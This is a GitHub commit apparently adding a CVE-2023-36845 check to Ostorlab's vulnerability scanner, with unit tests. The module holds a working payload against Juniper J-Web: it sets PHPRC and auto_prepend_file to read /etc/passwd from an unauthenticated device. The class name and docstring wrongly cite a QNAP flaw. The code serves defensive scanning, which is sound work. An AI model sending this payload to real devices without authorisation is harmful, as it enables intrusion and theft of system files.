generated from Ostorlab/template_agent
-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #19 from Ostorlab/exploit/CVE-2023-36845
- Loading branch information
Showing
3 changed files
with
162 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -11,6 +11,7 @@ class Target: | |
scheme: str | ||
host: str | ||
port: int | ||
path: str = "/" | ||
|
||
|
||
@dataclasses.dataclass | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,103 @@ | ||
"""Agent Asteroid implementation for CVE-2023–36845""" | ||
import re | ||
|
||
import requests | ||
from ostorlab.agent.kb import kb | ||
from ostorlab.agent.mixins import agent_report_vulnerability_mixin | ||
from requests import exceptions as requests_exceptions | ||
|
||
from agent import definitions | ||
from agent import exploits_registry | ||
|
||
VULNERABILITY_TITLE = "Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability" | ||
VULNERABILITY_REFERENCE = "CVE-2023–36845" | ||
VULNERABILITY_DESCRIPTION = ( | ||
"A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS " | ||
"on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. " | ||
"Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment " | ||
"allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX " | ||
"Series: " | ||
"* All versions prior to 20.4R3-S9; " | ||
"* 21.1 versions 21.1R1 and later; " | ||
"* 21.2 versions prior to 21.2R3-S7; " | ||
"* 21.3 versions prior to 21.3R3-S5; " | ||
"* 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; " | ||
"* 22.2 versions prior to 22.2R3-S2; " | ||
"* 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; " | ||
"* 22.4 versions prior to 22.4R2-S1, 22.4R3; " | ||
"* 23.2 versions prior to 23.2R1-S1, 23.2R2." | ||
) | ||
|
||
DEFAULT_TIMEOUT = 90 | ||
JUNIPER_KEYWORD = "Juniper" | ||
PASSWD_PATTERN = re.compile("root:.*:0:0:") | ||
PAYLOAD = { | ||
"auto_prepend_file": (None, "/etc/passwd\n"), | ||
"PHPRC": (None, "/dev/fd/0"), | ||
} | ||
|
||
|
||
@exploits_registry.register | ||
class CVE20197193Exploit(definitions.Exploit): | ||
""" | ||
CVE-2023–36845: QNAP QTS Improper Input Validation Vulnerability | ||
""" | ||
|
||
def accept(self, target: definitions.Target) -> bool: | ||
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" | ||
try: | ||
resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) | ||
except requests_exceptions.RequestException: | ||
return False | ||
return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text | ||
|
||
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: | ||
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" | ||
|
||
try: | ||
resp = requests.post( | ||
target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT | ||
) | ||
except requests_exceptions.RequestException: | ||
return [] | ||
|
||
if PASSWD_PATTERN.search(resp.text) is None: | ||
return [] | ||
|
||
vulnerability = self._create_vulnerability(target_uri) | ||
return [vulnerability] | ||
|
||
def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability: | ||
entry = kb.Entry( | ||
title=VULNERABILITY_TITLE, | ||
risk_rating="CRITICAL", | ||
short_description=VULNERABILITY_DESCRIPTION, | ||
description=VULNERABILITY_DESCRIPTION, | ||
references={ | ||
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}", | ||
"supportportal.juniper.net": "https://supportportal.juniper.net/s/article/" | ||
"2023-08-Out-of-Cycle-Security-Bulletin-Junos-" | ||
"OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-" | ||
"in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution", | ||
}, | ||
recommendation=( | ||
"- Make sure to install the latest security patches from software vendor \n" | ||
"- Update to the latest software version" | ||
), | ||
security_issue=True, | ||
privacy_issue=False, | ||
has_public_exploit=True, | ||
targeted_by_malware=True, | ||
targeted_by_ransomware=True, | ||
targeted_by_nation_state=True, | ||
) | ||
technical_detail = ( | ||
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, " | ||
f"{VULNERABILITY_TITLE}" | ||
) | ||
vulnerability = definitions.Vulnerability( | ||
entry=entry, | ||
technical_detail=technical_detail, | ||
risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL, | ||
) | ||
return vulnerability |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
"""Unit tests for CVE-2023-36845""" | ||
import requests_mock as req_mock | ||
from agent.exploits import cve_2023_36845 | ||
from agent import definitions | ||
|
||
|
||
def testCVE202336845_whenVulnerable_reportFinding( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""Unit test for CVE-2023-36845, case when target is vulnerable.""" | ||
target = definitions.Target(scheme="http", host="127.0.0.1", port=8080) | ||
exploit_instance = cve_2023_36845.CVE20197193Exploit() | ||
requests_mock.post( | ||
"http://127.0.0.1:8080/", | ||
content=b"""root:*:0:0:Charlie &:/root:/bin/csh | ||
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin | ||
operator:*:2:5:System &:/:/sbin/nologin | ||
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin | ||
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin | ||
sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin | ||
ext:*:39:39:External applications:/:/sbin/nologin | ||
bind:*:53:53:Bind Sandbox:/:/sbin/nologin | ||
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/sbin/nologin | ||
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin | ||
33768:*:100:20::/var/home/33768:/usr/sbin/cli | ||
jforce:*:2000:20::/var/home/jforce:/usr/sbin/cli | ||
jmay:*:2001:20::/var/home/jmay:/usr/sbin/cli | ||
<html>page();</html>""", | ||
) | ||
|
||
vulnerabilities = exploit_instance.check(target) | ||
vulnerability = vulnerabilities[0] | ||
|
||
assert ( | ||
vulnerability.entry.title | ||
== "Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability" | ||
) | ||
assert vulnerability.technical_detail == ( | ||
"http://127.0.0.1:8080/ is vulnerable to CVE-2023–36845, Juniper Junos OS " | ||
"EX Series and SRX Series PHP External Variable Modification Vulnerability" | ||
) | ||
assert vulnerability.risk_rating.name == "CRITICAL" | ||
|
||
|
||
def testCVE202336845_whenSafe_reportNothing( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""Unit test for CVE-2023-36845, case when target is safe.""" | ||
target = definitions.Target(scheme="http", host="127.0.0.1", port=8080) | ||
exploit_instance = cve_2023_36845.CVE20197193Exploit() | ||
requests_mock.post( | ||
"http://127.0.0.1:8080/", | ||
content=b"JUNIPER VPN LOGIN", | ||
) | ||
|
||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert len(vulnerabilities) == 0 |